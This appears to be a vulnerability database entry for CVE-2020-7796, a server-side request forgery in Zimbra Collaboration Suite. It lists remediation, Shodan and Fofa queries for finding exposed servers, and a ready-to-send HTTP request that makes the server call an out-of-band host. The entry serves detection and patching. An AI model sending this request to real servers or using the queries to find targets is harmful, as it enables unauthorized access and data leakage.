| Title | Zimbra Collaboration Suite < 8.8.15 Patch 7 - Server-Side Request Forgery |
|---|---|
| Author | gy741 |
| Severity | Critical |
| Impact | Successful exploitation of this vulnerability could allow an attacker to send arbitrary requests from the vulnerable server, potentially leading to unauthorized access or data leakage. |
| Remediation | Apply the latest patch or upgrade to Zimbra Collaboration Suite version 8.8.15 Patch 7 or higher to mitigate this vulnerability. |
| CVSS Score | 9.8 |
| EPSS Score | 0.90602 |
| CVE ID | CVE-2020-7796 |
| CWE ID | CWE-918 |
| Shodan Query | http.title:"zimbra collaboration suite"http.title:"zimbra web client sign in" |
| Fofa Query | title="zimbra web client sign in"title="zimbra collaboration suite" |
| Tags | cve cve2020 zimbra ssrf oast synacor vkev vuln |
Zimbra Collaboration Suite (ZCS) before 8.8.15 Patch 7 is susceptible to server-side request forgery when WebEx zimlet is installed and zimlet JSP is enabled.
GET /zimlet/com_zimbra_webex/httpPost.jsp?companyId=http://d5jp23hle0o1dq03t330o1yt5xiuxi9xr.oast.pro%23 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:1.9.5.20) Gecko/ Firefox/3.6.16
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-7796.yaml
🦈 Packet Capture: ⬇️ Download cve-2020-7796.pcap
N/AN/A